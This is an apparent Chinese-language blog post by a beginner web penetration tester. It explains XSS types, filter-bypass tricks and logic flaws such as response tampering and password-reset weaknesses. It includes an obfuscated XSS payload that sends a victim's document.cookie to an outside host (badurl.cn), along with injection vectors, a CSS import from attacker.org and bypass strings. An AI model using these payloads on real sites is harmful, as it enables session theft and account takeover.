xss注入1.0

0X01综述

这段时间一直着手两样东西，xss技巧与网站逻辑分析。

本文简单就这两部分对网站渗透测试进行简单分析。

0X02XSS测试

先从xss技巧说起，xss来源就是网站没有对用户行为输入过滤就直接显示造成的任意js代码执行，也就是让另一个用户以他的权限来执行你的命令，做个不恰当的比喻就是，你想从银行（后台）抢钱（权限），抢刚刚从银行取钱出来的人（已获取正当权限的用户）总比抢银行金库（管理员后台）容易。

而xss执行方式通常分为三种，反射型，存储型，DOM型，

先从存储型说起，存储型原理就是一些网站往往将你输入的数据不加过滤的存入数据库，并回显到网页上，而当别人的浏览器解析网站回显出来的数据时，可能就会执行其中的代码部分，例如，常见的用户评论区，当你评论”<a>***</a>”到评论区，别人能看到的可能只有”***”，因为你的两个<a></a>标签被浏览器解析为html文件的标签部分了，而不是你评论的数据部分。而当你运用的标签是<script>的时候，就可以通过这种方式执行任意js代码了，而诸多标签往往还带有神奇的src属性来跨域读取文件，而如果src 属性指向另一个写满了javascript恶意代码的html页面，当前页面含有src属性的标签可能不会正常显示，但是指向的html页面内容缺是被浏览器完全执行了，这种方式从你引入jQuery的过程就可见一斑：

通过标明“<script src=”jquery.js”></script>”，跨域文件jQuery.js里的js函数就可以被随意调用。

然后就是反射型xss漏洞了，反射型漏洞的xss的恶意代码可以被写在url指向的文件中，然后执行完了页面直接重定向到正常页面，仅能浏览前端的你很难发现你的浏览器真正做过什么，另一个方法是直接把恶意代码写进url参数中，然后回显在页面里，和sql注入的方式有点像，只不过sql注入目的是由后台执行恶意sql语句，xss目的是存入后台，然后回显到其它用户浏览器，由其它用户执行恶意javascript等脚本代码。

最后就是DOM型xss了，与前两种方式不同的是DOM并不需要原来回显页面上存在漏洞，（没有漏洞，就创造漏洞！），例如通过在url中写入一些代码，诱使受害者点击url执行其中的恶意代码，然后使浏览器主动在已从服务器返回的页面上添加html元素（DOM节点）来添加漏洞。

大概就是这么多，很多地方感觉自己讲得不太清，不过估计以后洞拿多了就好了。然后flash xss暂时略过，积累一下经验，之后的文章会说一下。

0X03XSS实战&绕过

然后就是各种插入技巧了，个人感觉，xss想要成功主要有三个方法，一来要靠剑走偏锋，挑一些程序员往往想不到的小页面小地方注入，正如一个正门（首页）把守森严（过滤完善）的城堡（站点），如果如果打不过守卫（绕不开过滤），就要考虑要不要从侧面的狗洞（边际页面）钻进去。二来就是神奇的绕过技巧，坚信没有绕不过的过滤，不过这要求对js代码的神奇用法还有各种框架过滤函数的深度了解，主要靠积累和经验。最后就要靠瞎猫碰死耗子的运气了，大概就是一些为了进度不顾安全的程序员恰好忘了在某个地方过滤输入或是输出的时候，你的机会就来了。

先就前两点法则分别简单说一说吧，首先剑走偏锋，手工上的原则就是见框就插，反复插，花式插，换平台插（例如app插完数据来手机看，PC浏览器插完去手机浏览器看，见过一个地方web端没问题，手机浏览器打开就会多出一段网页上不可见代码，通过手机上安装firefox看源代码才看到的，并且借此成功弹框，而且只是Android才会有问题，ios没事，但Android适用人群之广，同样使得问题十分严重），搞URL参数，搞完了发现所有地方正常显示没弹框也不要急，耐心打开源代码，ctrl+F寻找插入的关键词，可能在某个网页没有显示的地方，你只不过因为某个标签没闭合才没弹框。脚本基本就是扫站，burp的activescan是个好东西，虽然我之前并没有在里面看到可用的xss但是确实是有扫描xss的功能的。说起来一直没搞懂的东西就是fuzzing
xss是怎么搞，我的设想是直接使用burpsuit列个可能成功的xss字典，然后使用暴力挨个空挨个插的方法找结果，然而比较尴尬的地方在于好像没办法根据返回状态来判定是否成功插进去，看起来需要爬虫才行。二来就是过滤绕过，常见过滤有长度过滤，特殊字符屏蔽（删除），字符转义，字符输入限制。

长度过滤的话可以考虑拼接参见http://www.wooyun.org/bugs/wooyun-2010-045687，尤其是将命令写成多个字符串然后eval函数拼接+执行的方法确实给力。

payload：

<script>A='ocumen';

B='t';F=Image

eval('C=d'+A+B);

D=C.cookie;

E=new F();

E.src='//badurl.cn/?'+D

</script>

特殊字符屏蔽，例如吞掉script字符串的，就要靠花式payload了，例如添加反斜杠，大小写混合(html对大小写不敏感，但是script内部内容为javascript对大小写敏感)。之前还见过只吞第一个<script>标签的一款移动端app，但是后来发现后面的虽然没吞，但是全转义了…

当时用过一种xss方式是<<script>script>可惜没成功，后来在某个网站上发现一模一样的过滤，发现插<a>没问题，但是<script>就会被吞（告诉我们不能拿<script>标签测试）然后我用了payload:”<><script>”就可以成功绕过，但是后来发现不如直接用<imgsrc=”” onerror=””>来，用起来更顺手。而且发现程序员好像就只过滤了”script”前面第一对<>之间的内容。然后，还有污染字符添加的方法来避过正则表达式的匹配，例如/**/，%09（tab）可以同来代替空格，%00可以用来截断等。参见http://www.freebuf.com/articles/web/95446.html

绕字符转义是最蛋疼，大概也是我技术不过关，遇到转移首先就要用payload：””’<>_#@$”来看看到底程序员过滤了什么，然后绕过通常方法是改编码方式，但是我没成功过…见过比较贱的，连你尝试转义后的&,#,/,;这种东西都全部转义…觉得基本就可以换地方注了,然后还有宽字符，之前试过宽字符sql（测试兰州交通大学自动化学院网站用过）成功了，但是xss也没怎么用过。

最后就是限制输入了，首先要做的就是分析网页js源码，转义字符也是，有的过滤转义就是在网页端做的，直接抓包改包应该可以轻松绕过，但是这种抓包添payload的行为暂时还没试过。如果输入限制是在后台做的（正确的过滤方式），敏感字符直接返回错误的，参考特殊字符屏蔽。

感觉第三点也多少说一下，关于网站编写者，有的时候真的忘了某个过滤或者过滤得不正确其实再正常不过（要不然你的xss还怎么搞），这种时候就有点玄学和脑洞的意味了，坚持不懈地搞，花式搞，想起来就搞一下，还有彻底分析网站js源码是十分有必要的，这种问题在刚上线的新站（例如众测中的站）会很多。

总结一下常见的注入标签：

<img src= onerror=>

任意标签onchick

<img src="xss.js">

<sricpt src="xss.js">

href="javascript:alert('test')"

href='vbscript:MsgBox("XSS")'

css import

<style>

@import url("http://attacker.org/malicious.css");

</style>

 
然后为了防止后台警惕你的输入，你可以先用<a>***</a>来查看可能的漏洞，用"/<>#*&_$’测试已经添加的过滤内容。

XSS大概就是这样吧，推荐的入门资料，http://www.freebuf.com/articles/web/40520.html一系列的四篇文章，大概看过三遍，这篇blog里也有多处引用Black-Hole的观点。还有一本书《xss跨站脚本攻击与防御》邱永华写的。还有就是wooyun上，多多学习中，尤其wooyun上各种大大找洞的花式简直堪称科幻，漏洞利用的话，觉得自己没做过网站开发维护，很多脚本真的看不懂，正在尝试搭个站来学一下。

0X04网站逻辑漏洞

然后就是网站逻辑漏洞了，首先关于明文传输的问题，其实不算问题，毕竟开发者大部分还是直接明文传密码，而且中间人攻击这种事感觉也不能全算成网站开发者管理者的锅。但是建议的是直接在网页上引用控件做md5（务必加盐，密钥直接md5很多时候跟明文传输其实差别不大，尤其弱密钥md5后再暴库并不会增加很大工作量），然后传，目的是防止抓包还有爆破（参见http://www.wooyun.org/bugs/wooyun-2016-0226989），另外通过设置token和flag，也可以防爆破，或者加一个POST参数放数据包的hash值，这几个是有待试验的，然后明文传输，主要的检测方法一个是burpsuite的activescan，另一个就是抓包（尤其登录验证的数据包）看参数。

另一个常见的网站逻辑漏洞就是登录后的验证方法的处理，有的程序员会设置登录后在后台做完验证返回json的表单过来表示登陆状态，常见的放一个{“error”:0,”data”:{“stsus”:0}}，然后在前端通过重定向到正常页面，通过burpsuite抓response包改参数(改成成功登陆的参数)，就可以绕过验证（参见http://www.wooyun.org/bugs/wooyun-2010-0216454），防御方法是直接在后台确定验证结果，正确则直接返回正常页面，否则返回错误页面。

然后就是关于购物平台返回参数的问题，暂时没试过，见过的一个坑点在于抓包，然后把货物数量对应参数改成-1，有的购物平台购物车中货物价格可能就会变成负数。

然后说回到用户验证的问题，关于重置密码相关的两个实现问题，一个问题是有的网站会采取一个页面先验证当前用户是否为合法用户（例如要求你输入旧密码），然后返回一个新页面来输入新密码和验证，在新页面返回的时候，如果仅返回用户名和用户输入的新密码，可以通过抓包修改用户名来修改别人的密码，这种问题的解决方法就是直接把验证和新密码输入放在同一个页面进行。另一个问题就是邮箱修改/验证问题，有的网站会通过向验证邮箱中发送验证链接，其中包含某些数据拼接的hash值甚至直接拼接一些数据（例如hash(用户名|Unix时间戳|邮箱)）来让用户点击验证。但是当hash参数可能被破解时这种方式就会很危险，攻击者可以通过拼接其他用户参数来绕过验证链接这种验证方式。

0X05日常训练

初学阶段大体就是这些，每天的日常往往是见框就插，w3c，burpsuite扫站，还有在网站修改各种用户信息，然后抓包来寻找验证过程中可能存在的漏洞。